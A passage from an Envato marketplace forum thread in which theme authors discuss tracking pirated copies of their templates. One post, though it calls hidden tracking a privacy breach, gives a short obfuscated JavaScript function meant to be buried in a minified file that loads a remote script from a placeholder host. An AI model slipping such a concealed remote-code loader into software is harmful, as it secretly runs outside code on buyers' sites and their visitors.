492 posts
  • Has sold $10,000+ on Envato Market
  • Has been part of the Envato Community for over 2 years
  • Sells items exclusively on Envato Market
  • Won a Most Wanted contest
+3 more
rayoflightt says

charlie4282, I suppose it should be included in template preview only because code from preview is usually stolen.

3857 posts
  • Has been part of the Envato Community for over 4 years
  • Has collected 500+ items on Envato Market
  • Nominated Community Superstar of the month
  • Sells items exclusively on Envato Market
+1 more
charlie4282 says

Again I would still suggest getting clarification from envato on doing it but yes you would be right – that seems to make more sense especially as by default most authors are tracking their demo sites one way or another

1177 posts
  • Has been part of the Envato Community for over 4 years
  • Has sold $40,000+ on Envato Market
  • Has been a beta tester for an Envato feature
  • Has collected 50+ items on Envato Market
+5 more
Smartik says

While I am opposed to any form of piracy – creating hidden JS which allows you to inject code or any form of discreet tracking, is a huge breach of genuine buyers privacy and I would imagine against policy for files on sale here.
Do it nice. Add a simple notice on top on all sites that use the source code from demo. :) I did it once and it worked. I sold ~15 copies in a week where showing the notice on their site. Some of them sent me a message with apologies for using a illegal copy, they had no idea the template is available for sale and is not free.

@Svecc, @rayoflightt, nothing special. You can place a function somewhere in a big js file and minimize that file. Here is an example
function tfc421(){
    var script = document.createElement( 'script' ),
        t = 't',
        e = 'e',
        o = 'o',
        r = 'r',
        j = 'j';
    script.type = 'text/javascript';
    script.src = 'ht'+t+'p://'+e+'xample.c'+o+'m/j/sc'+r+'ipt.'+j+'s';
    $("body").append( script );
}
tfc421();
This will be added right before </body> tag:
<script type="text/javascript" src="http://example.com/j/script.js"></script>
244 posts
  • Has referred 1+ members
  • Has sold $5,000+ on Envato Market
  • Has collected 1+ items on Envato Market
  • Sells items exclusively on Envato Market
+3 more
DanThemes says

You can also try inserting 100-150 lines of white space at the beginning of the source code… I know, it’s a very cheap trick but it could stop some of the newbies. :)

by
by
by
by
by
by